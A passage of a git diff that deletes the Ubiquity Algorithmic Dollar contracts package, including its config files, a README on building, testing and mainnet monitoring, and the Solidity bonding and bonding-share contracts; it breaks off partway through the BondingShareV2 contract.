b/packages/contracts/dollar/.dockerignore deleted file mode 100644 index df06ac9ae..000000000 --- a/packages/contracts/dollar/.dockerignore +++ /dev/null @@ -1,6 +0,0 @@ -# Exclude everything -artifacts -cache -coverage -node_modules -deployments diff --git a/packages/contracts/dollar/.editorconfig b/packages/contracts/dollar/.editorconfig deleted file mode 100644 index 30ec07998..000000000 --- a/packages/contracts/dollar/.editorconfig +++ /dev/null @@ -1,15 +0,0 @@ -root = true - -[*] -charset = utf-8 -end_of_line = lf -indent_size = 2 -indent_style = space -insert_final_newline = true -trim_trailing_whitespace = true - -[*.sol] -indent_size = 4 - -[*.md] -trim_trailing_whitespace = false diff --git a/packages/contracts/dollar/.gitignore b/packages/contracts/dollar/.gitignore deleted file mode 100644 index c88fd7777..000000000 --- a/packages/contracts/dollar/.gitignore +++ /dev/null @@ -1,121 +0,0 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -lerna-debug.log* - -# Diagnostic reports (https://nodejs.org/api/report.html) -report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json - -# Runtime data -pids -*.pid -*.seed -*.pid.lock - -# Directory for instrumented libs generated by jscoverage/JSCover -lib-cov - -# Coverage directory used by tools like istanbul -coverage* -*.lcov - -# nyc test coverage -.nyc_output - -# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) -.grunt - -# Bower dependency directory (https://bower.io/) -bower_components - -# node-waf configuration -.lock-wscript - -# Compiled binary addons (https://nodejs.org/api/addons.html) -build/Release - -# Dependency directories -node_modules/ -jspm_packages/ -bin/ - -# TypeScript v1 declaration files -typings/ - -# TypeScript cache -*.tsbuildinfo - -# Optional npm cache directory -.npm - -# Optional eslint cache -.eslintcache - -# Microbundle cache -.rpt2_cache/ -.rts2_cache_cjs/ -.rts2_cache_es/ -.rts2_cache_umd/ - -# Optional REPL history -.node_repl_history - -# Output of 'npm pack' -*.tgz - -# Yarn Integrity file -.yarn-integrity - -# dotenv environment variables file -.env -.env.test - -# parcel-bundler cache (https://parceljs.org/) -.cache - -# Next.js build output -.next - -# Nuxt.js build / generate output -.nuxt -dist - -# Gatsby files -.cache/ -# Comment in the public line in if your project uses Gatsby and *not* Next.js -# https://nextjs.org/blog/next-9-1#public-directory-support -# public - -# vuepress build output -.vuepress/dist - -# Serverless directories -.serverless/ - -# FuseBox cache -.fusebox/ - -# DynamoDB Local files -.dynamodb/ - -# TernJS port file -.tern-port - -# Hardhat files -cache -artifacts -deployments/localhost -deployments/ropsten -# MacOS files -.DS_Store - -# VSCode user settings -.vscode -.ignore/ - -# generated by tasks -bonding_migration.json -bonding_transactions.json diff --git a/packages/contracts/dollar/.mocharc.json b/packages/contracts/dollar/.mocharc.json deleted file mode 100644 index 36c6c0106..000000000 --- a/packages/contracts/dollar/.mocharc.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "require": ["hardhat/register"], - "timeout": 100000, - "retries": 3 -} diff --git a/packages/contracts/dollar/.solcover.js b/packages/contracts/dollar/.solcover.js deleted file mode 100644 index 109428a03..000000000 --- a/packages/contracts/dollar/.solcover.js +++ /dev/null @@ -1,4 +0,0 @@ -module.exports = { - testCommand: " mocha --exit --recursive test", - skipFiles: ["interfaces", "mocks"], -}; diff --git a/packages/contracts/dollar/.solhintignore b/packages/contracts/dollar/.solhintignore deleted file mode 100644 index 94945aae8..000000000 --- a/packages/contracts/dollar/.solhintignore +++ /dev/null @@ -1,6 +0,0 @@ -contracts/interfaces/ICurveFactory.sol -contracts/interfaces/IMetaPool.sol -contracts/libs/ABDKMath64x64.sol -contracts/libs/ABDKMathQuad.sol -node_modules -libs diff --git a/packages/contracts/dollar/.solhintrc.js b/packages/contracts/dollar/.solhintrc.js deleted file mode 100644 index 4ff51024f..000000000 --- a/packages/contracts/dollar/.solhintrc.js +++ /dev/null @@ -1,46 +0,0 @@ -module.exports = { - extends: "solhint:recommended", - plugins: ["prettier"], - rules: { - "prettier/prettier": "error", - "code-complexity": ["error", 10], - "function-max-lines": ["error", 100], - "max-line-length": ["error", 140], - "max-states-count": ["error", 20], - "no-empty-blocks": "error", - "no-unused-vars": "error", - "payable-fallback": "off", - "reason-string": ["off", { maxLength: 32 }], - "constructor-syntax": "off", - "comprehensive-interface": "off", - quotes: ["error", "double"], - "const-name-snakecase": "error", - "contract-name-camelcase": "error", - "event-name-camelcase": "error", - "func-name-mixedcase": "error", - "func-param-name-mixedcase": "error", - "modifier-name-mixedcase": "error", - "private-vars-leading-underscore": ["error", { strict: false }], - "var-name-mixedcase": "error", - "imports-on-top": "error", - ordering: "error", - "visibility-modifier-order": "error", - "avoid-call-value": "off", - "avoid-low-level-calls": "off", - "avoid-sha3": "error", - "avoid-suicide": "error", - "avoid-throw": "error", - "avoid-tx-origin": "off", - "check-send-result": "error", - "compiler-version": ["error", ">=0.6.0"], - "mark-callable-contracts": "off", - "func-visibility": ["error", { ignoreConstructors: true }], - "multiple-sends": "error", - "no-complex-fallback": "error", - "no-inline-assembly": "off", - "not-rely-on-block-hash": "error", - reentrancy: "error", - "state-visibility": "error", - "not-rely-on-time": "off", - }, -}; diff --git a/packages/contracts/dollar/.yarnrc b/packages/contracts/dollar/.yarnrc deleted file mode 100644 index 5455c6c5d..000000000 --- a/packages/contracts/dollar/.yarnrc +++ /dev/null @@ -1 +0,0 @@ -ignore-scripts true diff --git a/packages/contracts/dollar/Dockerfile b/packages/contracts/dollar/Dockerfile deleted file mode 100644 index 7428650bb..000000000 --- a/packages/contracts/dollar/Dockerfile +++ /dev/null @@ -1,11 +0,0 @@ -FROM node:14.16.0 as base -WORKDIR /app -# Some dependencies need git to be installed (see yarn.lock) -RUN apt-get update -RUN apt-get install -y git libusb-dev libudev-dev build-essential libusb-1.0-0-dev -COPY package.json yarn.lock ./ -RUN yarn install --frozen-lockfile --ignore-scripts && yarn cache clean -COPY . . -RUN yarn compile -RUN yarn lint -RUN yarn test diff --git a/packages/contracts/dollar/README.md b/packages/contracts/dollar/README.md deleted file mode 100644 index 815c122f5..000000000 --- a/packages/contracts/dollar/README.md +++ /dev/null @@ -1,220 +0,0 @@ -# Ubiquity Algorithmic Dollar Contracts - -![Logo of the project](https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/) - -## Table of Contents - -1. [Getting started](#Getting) -2. [Building](#Building) -3. [Deployment](#Deployment) -4. [Testing](#Testing) -5. [Contracts](#Contracts) -6. [Licensing](#Licensing) - -## Getting started - -### Prerequisites - -- [Node.js](https://nodejs.org/en/download/) - -### Installing - -Install dependencies: - -```sh -yarn install -``` - -## Building - -Compile the smart contracts: - -```sh -yarn run compile -``` - -To verify the accounts that will be used by hardhat - -```sh -yarn hardhat accounts -``` - -## Deployment - -To deploy the smart contracts on a network defined in the `hardhat.config.ts` -rename the `example.env` file to `.env` and fill the `MNEMONIC`, `API_KEY_ALCHEMY` and -`API_KEY_COINMARKETCAP` environment variables. - -```sh -yarn hardhat run --network scripts/deployment.ts -``` - -Note that by default smart contracts will be deployed locally using hardhat development node. - -## Mainnet monitoring - -### Token - -this task will retrieve information about all our tokens including LP token - -```sh -yarn hardhat --network mainnet token -``` - -### Incentives - -this task will retrieve information about the current incentives and penalty on uAD buy and sell - -```sh -yarn hardhat --network mainnet incentive -``` - -### Metapool - -this task will retrieve information about our curve uAD-3CRV metapool - -```sh -yarn hardhat --network mainnet metapool -``` - -### Price - -this task will retrieve information about uAD price - -```sh -yarn hardhat --network mainnet price -``` - -### Manager - -this task will all the addresses registered in the manager - -```sh -yarn hardhat --network mainnet manager -``` - -### Get Bonding Contract Transactions - -this task will retrieve and filter the bonding contract transactions, print a summary and save them to a file - -```sh -# OPTIONS: --end-block [--is-error ] [--name ] [--start-block ] [path] - -# --end-block The end block for the Etherscan request (defaults to latest block) -# --is-error Select transactions that were errors (default: false) -# --name The function name (use empty string for all) (default: "deposit") -# --start-block The starting block for the Etherscan request (defaults is contract creation block) (default: 12595544) -# path The path to store the bonding contract transactions (default: "./bonding_transactions.json") - -yarn hardhat --network mainnet getBondingTransactions -``` - -## Testing - -### Requirements: - -- node 14.15 (use nvm) - -Rename the `example.env` file to `.env` and fill: - -- `API_KEY_ALCHEMY`: [get key at Alchemy API Dashboard](https://dashboard.alchemyapi.io/) -- `API_KEY_COINMARKETCAP`: [get key at CoinMarket](https://pro.coinmarketcap.com/login) - -### Launch all tests - -```sh -yarn run test -``` - -if you experience some timeout issues try running tests one by one - -### Forking - -To run a local node that forks mainnet we use Hardhat with the Alchemy API. - -```sh -yarn node:start -``` - -If you are using MetaMask on the browser, you can point it to the local node -from the network menu by adding a custom RPC network with the following configuration: - -- Network name: `Hardhat` -- RPC Url: `http://localhost:8545` -- Chain ID: `31337` - -### Give yourself funds - -We recommend you use a separate browser session with MetaMask for development. -When you are prompted with the mnemonic phrase copy it to the .env file: - -```bash -MNEMONIC="test test test test test test test test test test test junk" -``` - -(remember to use the quotation marks) - -When the hardhat fork starts it will create 10 accounts with 10000 ETH each from -that phrase. MetaMask will be using these accounts too. - -Now for the sake of testing you may want to give yourself uAD, uCR, UBQ, and uAD3CRV-f tokens. -To do this, there is a tasks named faucet that gives you 1000 of each, transferred from -the Ubiquity treasury account. - -```sh -yarn node:faucet -``` - -This is to be run only when the `yarn node:start` task is running on another terminal window. - -## Contracts - -- twapOracle - - `0x7944d5b8f9668AfB1e648a61e54DEa8DE734c1d1` -- debtCoupon - - `0xcEFAF85110536eC6F78B0B71624BfA584B6fABa1` -- uADToken - - `0x0F644658510c95CB46955e55D7BA9DDa9E9fBEc6` -- couponCalculator - - `0x4F3dF4c1e22209d623ab55923109112f1E2B17DE` -- dollarMintingCalculator - - `0xab840faA6A5eF68D8D32370EBC297f4DdC9F870F` -- bondingShare - - `0x2dA07859613C14F6f05c97eFE37B9B4F212b5eF5` -- bondingContract - - `0xC251eCD9f1bD5230823F9A0F99a44A87Ddd4CA38` -- uAD-3CRV metapool deployed aka stableSwapMetaPool - - `0x20955CB69Ae1515962177D164dfC9522feef567E` -- curve3PoolToken - - `0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490` -- uGOVToken - - `0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0` -- sushiSwapPool - - `0x534ac94F198F1fef0aDC45227A2185C7cE8d75dC` -- masterChef - - `0xdae807071b5AC7B6a2a343beaD19929426dBC998` -- formulas - - `0x54F528979A50FA8Fe99E0118EbbEE5fC8Ea802F7` -- autoRedeemToken - - `0x5894cFEbFdEdBe61d01F20140f41c5c49AedAe97` -- uarCalculator - - `0x75d6F33BcF784504dA74e4aD60c677CD1fD3e2d5` -- ExcessDollarsDistributor - - `0x25d2b980E406bE97237A06Bca636AeD607661Dfa` -- debtCouponMgr - - `0x432120Ad63779897A424f7905BA000dF38A74554` -- UbiquityAlgorithmicDollarManager - - `0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98` -- curveIncentive - - `0x86965cdB680350C5de2Fd8D28055DecDDD52745E` -- treasury - - `0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd | ubq.eth` - -## Licensing - -Copyright (c) 2021 Ubiquity -Licensed under the MIT License - -``` - -``` diff --git a/packages/contracts/dollar/bonding_share.json b/packages/contracts/dollar/bonding_share.json deleted file mode 100644 index bcb834c0a..000000000 --- a/packages/contracts/dollar/bonding_share.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "description": "Ubiquity Bonding Share V2.", - "image": "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/", - "name": "Bonding Share", - "ipfs_image": "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/", - "google_image": "https://drive.google.com/file/d/1NFAUAEf_Oi3Kw3sTJ9AF_w20qFE5cgSf/view?usp=sharing" -} diff --git a/packages/contracts/dollar/commitlint.config.js b/packages/contracts/dollar/commitlint.config.js deleted file mode 100644 index 5073c20db..000000000 --- a/packages/contracts/dollar/commitlint.config.js +++ /dev/null @@ -1 +0,0 @@ -module.exports = { extends: ["@commitlint/config-conventional"] }; diff --git a/packages/contracts/dollar/contracts/ABDKTest.sol b/packages/contracts/dollar/contracts/ABDKTest.sol deleted file mode 100644 index cc65b124c..000000000 --- a/packages/contracts/dollar/contracts/ABDKTest.sol +++ /dev/null @@ -1,25 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "./interfaces/IUARForDollarsCalculator.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./libs/ABDKMathQuad.sol"; -import "./DebtCoupon.sol"; - -contract ABDKTest { - using ABDKMathQuad for uint256; - using ABDKMathQuad for bytes16; - - function max() public pure returns (uint256) { - // 115792089237316195423570985008687907853269984665640564039457584007913129639935 - - uint256 maxUInt256 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; - return maxUInt256.fromUInt().toUInt(); - } - - function add(uint256 amount) public pure returns (uint256) { - uint256 maxUInt256 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; - return maxUInt256.fromUInt().add(amount.fromUInt()).toUInt(); - } -} diff --git a/packages/contracts/dollar/contracts/Bonding.sol b/packages/contracts/dollar/contracts/Bonding.sol deleted file mode 100644 index 670411daf..000000000 --- a/packages/contracts/dollar/contracts/Bonding.sol +++ /dev/null @@ -1,295 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "./interfaces/IERC1155Ubiquity.sol"; -import "./interfaces/IMetaPool.sol"; -import "./interfaces/IUbiquityFormulas.sol"; -import "./UbiquityAlgorithmicDollar.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./interfaces/ISablier.sol"; -import "./interfaces/IMasterChef.sol"; -import "./interfaces/ITWAPOracle.sol"; -import "./interfaces/IERC1155Ubiquity.sol"; -import "./utils/CollectableDust.sol"; - -contract Bonding is CollectableDust { - using SafeERC20 for IERC20; - - bytes public data = ""; - UbiquityAlgorithmicDollarManager public manager; - - uint256 public constant ONE = uint256(1 ether); // 3Crv has 18 decimals - ISablier public sablier; - uint256 public bondingDiscountMultiplier = uint256(1000000 gwei); // 0.001 - uint256 public redeemStreamTime = 86400; // 1 day in seconds - uint256 public blockCountInAWeek = 45361; - uint256 public blockRonding = 100; - uint256 public uGOVPerBlock = 1; - - event MaxBondingPriceUpdated(uint256 _maxBondingPrice); - event SablierUpdated(address _sablier); - event BondingDiscountMultiplierUpdated(uint256 _bondingDiscountMultiplier); - event RedeemStreamTimeUpdated(uint256 _redeemStreamTime); - event BlockRondingUpdated(uint256 _blockRonding); - event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek); - event UGOVPerBlockUpdated(uint256 _uGOVPerBlock); - - modifier onlyBondingManager() { - require( - manager.hasRole(manager.BONDING_MANAGER_ROLE(), msg.sender), - "Caller is not a bonding manager" - ); - _; - } - - constructor(address _manager, address _sablier) CollectableDust() { - manager = UbiquityAlgorithmicDollarManager(_manager); - sablier = ISablier(_sablier); - } - - // solhint-disable-next-line no-empty-blocks - receive() external payable {} - - /// @dev uADPriceReset remove uAD unilateraly from the curve LP share sitting inside - /// the bonding contract and send the uAD received to the treasury. - /// This will have the immediate effect of pushing the uAD price HIGHER - /// @param amount of LP token to be removed for uAD - /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract - function uADPriceReset(uint256 amount) external onlyBondingManager { - IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress()); - // safe approve - IERC20(manager.stableSwapMetaPoolAddress()).safeApprove( - address(this), - amount - ); - // remove one coin - uint256 expected = (metaPool.calc_withdraw_one_coin(amount, 0) * 99) / - 100; - // update twap - metaPool.remove_liquidity_one_coin(amount, 0, expected); - ITWAPOracle(manager.twapOracleAddress()).update(); - IERC20(manager.dollarTokenAddress()).safeTransfer( - manager.treasuryAddress(), - IERC20(manager.dollarTokenAddress()).balanceOf(address(this)) - ); - } - - /// @dev crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside - /// the bonding contract and send the 3CRV received to the treasury - /// This will have the immediate effect of pushing the uAD price LOWER - /// @param amount of LP token to be removed for 3CRV tokens - /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract - function crvPriceReset(uint256 amount) external onlyBondingManager { - IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress()); - // safe approve - IERC20(manager.stableSwapMetaPoolAddress()).safeApprove( - address(this), - amount - ); - // remove one coin - uint256 expected = (metaPool.calc_withdraw_one_coin(amount, 1) * 99) / - 100; - // update twap - metaPool.remove_liquidity_one_coin(amount, 1, expected); - ITWAPOracle(manager.twapOracleAddress()).update(); - IERC20(manager.curve3PoolTokenAddress()).safeTransfer( - manager.treasuryAddress(), - IERC20(manager.curve3PoolTokenAddress()).balanceOf(address(this)) - ); - } - - /// Collectable Dust - function addProtocolToken(address _token) - external - override - onlyBondingManager - { - _addProtocolToken(_token); - } - - function removeProtocolToken(address _token) - external - override - onlyBondingManager - { - _removeProtocolToken(_token); - } - - function sendDust( - address _to, - address _token, - uint256 _amount - ) external override onlyBondingManager { - _sendDust(_to, _token, _amount); - } - - function setSablier(address _sablier) external onlyBondingManager { - sablier = ISablier(_sablier); - emit SablierUpdated(_sablier); - } - - function setBondingDiscountMultiplier(uint256 _bondingDiscountMultiplier) - external - onlyBondingManager - { - bondingDiscountMultiplier = _bondingDiscountMultiplier; - emit BondingDiscountMultiplierUpdated(_bondingDiscountMultiplier); - } - - function setRedeemStreamTime(uint256 _redeemStreamTime) - external - onlyBondingManager - { - redeemStreamTime = _redeemStreamTime; - emit RedeemStreamTimeUpdated(_redeemStreamTime); - } - - function setBlockRonding(uint256 _blockRonding) - external - onlyBondingManager - { - blockRonding = _blockRonding; - emit BlockRondingUpdated(_blockRonding); - } - - function setBlockCountInAWeek(uint256 _blockCountInAWeek) - external - onlyBondingManager - { - blockCountInAWeek = _blockCountInAWeek; - emit BlockCountInAWeekUpdated(_blockCountInAWeek); - } - - function setUGOVPerBlock(uint256 _uGOVPerBlock) - external - onlyBondingManager - { - uGOVPerBlock = _uGOVPerBlock; - emit UGOVPerBlockUpdated(_uGOVPerBlock); - } - - /// @dev deposit uAD-3CRV LP tokens for a duration to receive bonding shares - /// @param _lpsAmount of LP token to send - /// @param _weeks during lp token will be held - /// @notice weeks act as a multiplier for the amount of bonding shares to be received - function deposit(uint256 _lpsAmount, uint256 _weeks) - public - returns (uint256 _id) - { - require( - 1 <= _weeks && _weeks <= 208, - "Bonding: duration must be between 1 and 208 weeks" - ); - _updateOracle(); - - IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom( - msg.sender, - address(this), - _lpsAmount - ); - - uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress()) - .durationMultiply(_lpsAmount, _weeks, bondingDiscountMultiplier); - - // 1 week = 45361 blocks = 2371753*7/366 - // n = (block + duration * 45361) - // id = n - n % blockRonding - // blockRonding = 100 => 2 ending zeros - uint256 n = block.number + _weeks * blockCountInAWeek; - _id = n - (n % blockRonding); - _mint(_sharesAmount, _id); - // set masterchef for uGOV rewards - IMasterChef(manager.masterChefAddress()).deposit( - _sharesAmount, - msg.sender - ); - } - - /// @dev withdraw an amount of uAD-3CRV LP tokens - /// @param _sharesAmount of bonding shares of type _id to be withdrawn - /// @param _id bonding shares id - /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date - function withdraw(uint256 _sharesAmount, uint256 _id) public { - require( - block.number > _id, - "Bonding: Redeem not allowed before bonding time" - ); - - require( - IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf( - msg.sender, - _id - ) >= _sharesAmount, - "Bonding: caller does not have enough shares" - ); - - _updateOracle(); - // get masterchef for uGOV rewards To ensure correct computation - // it needs to be done BEFORE burning the shares - IMasterChef(manager.masterChefAddress()).withdraw( - _sharesAmount, - msg.sender - ); - - uint256 _currentShareValue = currentShareValue(); - - IERC1155Ubiquity(manager.bondingShareAddress()).burn( - msg.sender, - _id, - _sharesAmount - ); - - // if (redeemStreamTime == 0) { - IERC20(manager.stableSwapMetaPoolAddress()).safeTransfer( - msg.sender, - IUbiquityFormulas(manager.formulasAddress()).redeemBonds( - _sharesAmount, - _currentShareValue, - ONE - ) - ); - } - - function currentShareValue() public view returns (uint256 priceShare) { - uint256 totalLP = IERC20(manager.stableSwapMetaPoolAddress()).balanceOf( - address(this) - ); - - uint256 totalShares = IERC1155Ubiquity(manager.bondingShareAddress()) - .totalSupply(); - - priceShare = IUbiquityFormulas(manager.formulasAddress()).bondPrice( - totalLP, - totalShares, - ONE - ); - } - - function currentTokenPrice() public view returns (uint256) { - return - ITWAPOracle(manager.twapOracleAddress()).consult( - manager.dollarTokenAddress() - ); - } - - function _mint(uint256 _sharesAmount, uint256 _id) internal { - uint256 _currentShareValue = currentShareValue(); - require( - _currentShareValue != 0, - "Bonding: share value should not be null" - ); - - IERC1155Ubiquity(manager.bondingShareAddress()).mint( - msg.sender, - _id, - _sharesAmount, - data - ); - } - - function _updateOracle() internal { - ITWAPOracle(manager.twapOracleAddress()).update(); - } -} diff --git a/packages/contracts/dollar/contracts/BondingFormulas.sol b/packages/contracts/dollar/contracts/BondingFormulas.sol deleted file mode 100644 index ed4124565..000000000 --- a/packages/contracts/dollar/contracts/BondingFormulas.sol +++ /dev/null @@ -1,86 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "./BondingShareV2.sol"; -import "./libs/ABDKMathQuad.sol"; - -import "./interfaces/IMasterChefV2.sol"; - -contract BondingFormulas { - using ABDKMathQuad for uint256; - using ABDKMathQuad for bytes16; - - uint256 public constant ONE = uint256(1 ether); // 18 decimals - - /// @dev formula UBQ Rights corresponding to a bonding shares LP amount - /// @param _bond , bonding share - /// @param _amount , amount of LP tokens - /// @notice shares = (bond.shares * _amount ) / bond.lpAmount ; - function sharesForLP( - BondingShareV2.Bond memory _bond, - uint256[2] memory _shareInfo, - uint256 _amount - ) public pure returns (uint256 _uLP) { - bytes16 a = _shareInfo[0].fromUInt(); // shares amount - bytes16 v = _amount.fromUInt(); - bytes16 t = _bond.lpAmount.fromUInt(); - - _uLP = a.mul(v).div(t).toUInt(); - } - - /// @dev formula may add a decreasing rewards if locking end is near when removing liquidity - /// @param _bond , bonding share - /// @param _amount , amount of LP tokens - /// @notice rewards = _amount; - // solhint-disable-block no-unused-vars - /* solhint-disable no-unused-vars */ - function lpRewardsRemoveLiquidityNormalization( - BondingShareV2.Bond memory _bond, - uint256[2] memory _shareInfo, - uint256 _amount - ) public pure returns (uint256) { - return _amount; - } - - /* solhint-enable no-unused-vars */ - /// @dev formula may add a decreasing rewards if locking end is near when adding liquidity - /// @param _bond , bonding share - /// @param _amount , amount of LP tokens - /// @notice rewards = _amount; - // solhint-disable-block no-unused-vars - /* solhint-disable no-unused-vars */ - function lpRewardsAddLiquidityNormalization( - BondingShareV2.Bond memory _bond, - uint256[2] memory _shareInfo, - uint256 _amount - ) public pure returns (uint256) { - return _amount; - } - - /* solhint-enable no-unused-vars */ - - /// @dev formula to calculate the corrected amount to withdraw based on the proportion of - /// lp deposited against actual LP token on thge bonding contract - /// @param _totalLpDeposited , Total amount of LP deposited by users - /// @param _bondingLpBalance , actual bonding contract LP tokens balance minus lp rewards - /// @param _amount , amount of LP tokens - /// @notice corrected_amount = amount * ( bondingLpBalance / totalLpDeposited) - /// if there is more or the same amount of LP than deposited then do nothing - function correctedAmountToWithdraw( - uint256 _totalLpDeposited, - uint256 _bondingLpBalance, - uint256 _amount - ) public pure returns (uint256) { - if (_bondingLpBalance < _totalLpDeposited && _bondingLpBalance > 0) { - // if there is less LP token inside the bonding contract that what have been deposited - // we have to reduce proportionnaly the lp amount to withdraw - return - _amount - .fromUInt() - .mul(_bondingLpBalance.fromUInt()) - .div(_totalLpDeposited.fromUInt()) - .toUInt(); - } - return _amount; - } -} diff --git a/packages/contracts/dollar/contracts/BondingShare.sol b/packages/contracts/dollar/contracts/BondingShare.sol deleted file mode 100644 index 1d8fffbcd..000000000 --- a/packages/contracts/dollar/contracts/BondingShare.sol +++ /dev/null @@ -1,9 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "./ERC1155Ubiquity.sol"; - -contract BondingShare is ERC1155Ubiquity { - // solhint-disable-next-line no-empty-blocks - constructor(address _manager) ERC1155Ubiquity(_manager, "URI") {} -} diff --git a/packages/contracts/dollar/contracts/BondingShareV2.sol b/packages/contracts/dollar/contracts/BondingShareV2.sol deleted file mode 100644 index 020bddadb..000000000 --- a/packages/contracts/dollar/contracts/BondingShareV2.sol +++ /dev/null @@ -1,228 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol"; -import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./utils/SafeAddArray.sol"; - -contract BondingShareV2 is ERC1155, ERC1155Burnable, ERC1155Pausable { - using SafeAddArray for uint256[]; - struct Bond { - // address of the minter - address minter; - // lp amount deposited by the user - uint256 lpFirstDeposited; - uint256 creationBlock; - // lp that were already there when created - uint256 lpRewardDebt; - uint256 endBlock; - // lp remaining for a user - uint256 lpAmount; - } - - UbiquityAlgorithmicDollarManager public manager; - // Mapping from account to operator approvals - mapping(address => uint256[]) private _holderBalances; - mapping(uint256 => Bond) private _bonds; - uint256 private _totalLP; - uint256 private _totalSupply; - - // ----------- Modifiers ----------- - modifier onlyMinter() { - require( - manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender), - "Governance token: not minter" - ); - _; - } - - modifier onlyBurner() { - require( - manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender), - "Governance token: not burner" - ); - _; - } - - modifier onlyPauser() { - require( - manager.hasRole(manager.PAUSER_ROLE(), msg.sender), - "Governance token: not pauser" - ); - _; - } - - /** - * @dev constructor - */ - constructor(address _manager, string memory uri) ERC1155(uri) { - manager = UbiquityAlgorithmicDollarManager(_manager); - } - - /// @dev update bond LP amount , LP rewards debt and end block. - /// @param _bondId bonding share id - /// @param _lpAmount amount of LP token deposited - /// @param _lpRewardDebt amount of excess LP token inside the bonding contract - /// @param _endBlock end locking period block number - function updateBond( - uint256 _bondId, - uint256 _lpAmount, - uint256 _lpRewardDebt, - uint256 _endBlock - ) external onlyMinter whenNotPaused { - Bond storage bond = _bonds[_bondId]; - uint256 curLpAmount = bond.lpAmount; - if (curLpAmount > _lpAmount) { - // we are removing LP - _totalLP -= curLpAmount - _lpAmount; - } else { - // we are adding LP - _totalLP += _lpAmount - curLpAmount; - } - bond.lpAmount = _lpAmount; - bond.lpRewardDebt = _lpRewardDebt; - bond.endBlock = _endBlock; - } - - // @dev Creates `amount` new tokens for `to`, of token type `id`. - /// @param to owner address - /// @param lpDeposited amount of LP token deposited - /// @param lpRewardDebt amount of excess LP token inside the bonding contract - /// @param endBlock block number when the locking period ends - function mint( - address to, - uint256 lpDeposited, - uint256 lpRewardDebt, - uint256 endBlock - ) public virtual onlyMinter whenNotPaused returns (uint256 id) { - id = _totalSupply + 1; - _mint(to, id, 1, bytes("")); - _totalSupply += 1; - _holderBalances[to].add(id); - Bond storage _bond = _bonds[id]; - _bond.minter = to; - _bond.lpFirstDeposited = lpDeposited; - _bond.lpAmount = lpDeposited; - _bond.lpRewardDebt = lpRewardDebt; - _bond.creationBlock = block.number; - _bond.endBlock = endBlock; - _totalLP += lpDeposited; - } - - /** - * @dev Pauses all token transfers. - * - * See {ERC1155Pausable} and {Pausable-_pause}. - * - */ - function pause() public virtual onlyPauser { - _pause(); - } - - /** - * @dev Unpauses all token transfers. - * - * See {ERC1155Pausable} and {Pausable-_unpause}. - * - */ - function unpause() public virtual onlyPauser { - _unpause(); - } - - /** - * @dev See {IERC1155-safeTransferFrom}. - */ - function safeTransferFrom( - address from, - address to, - uint256 id, - uint256 amount, - bytes memory data - ) public override whenNotPaused { - super.safeTransferFrom(from, to, id, amount, data); - _holderBalances[to].add(id); - } - - /** - * @dev See {IERC1155-safeBatchTransferFrom}. - */ - function safeBatchTransferFrom( - address from, - address to, - uint256[] memory ids, - uint256[] memory amounts, - bytes memory data - ) public virtual override whenNotPaused { - super.safeBatchTransferFrom(from, to, ids, amounts, data); - _holderBalances[to].add(ids); - } - - /** - * @dev Total amount of tokens . - */ - function totalSupply() public view virtual returns (uint256) { - return _totalSupply; - } - - /** - * @dev Total amount of LP tokens deposited. - */ - function totalLP() public view virtual returns (uint256) { - return _totalLP; - } - - /** - * @dev return bond details. - */ - function getBond(uint256 id) public view returns (Bond memory) { - return _bonds[id]; - } - - /** - * @dev array of token Id held by the msg.sender. - */ - function holderTokens(address holder) - public - view - returns (uint256[] memory) - { - return _holderBalances[holder]; - } - - function _burn( - address account, - uint256 id, - uint256 amount - ) internal virtual override whenNotPaused { - require(amount == 1, "amount <> 1"); - super._burn(account, id, 1); - Bond storage _bond = _bonds[id]; - require(_bond.lpAmount == 0, "LP <> 0"); - _totalSupply -= 1; - } - - function _burnBatch( - address account, - uint256[] memory ids, - uint256[] memory amounts - ) internal virtual override whenNotPaused { - super._burnBatch(account, ids, amounts); - for (uint256 i = 0; i < ids.length; ++i) { - _totalSupply -= amounts[i]; 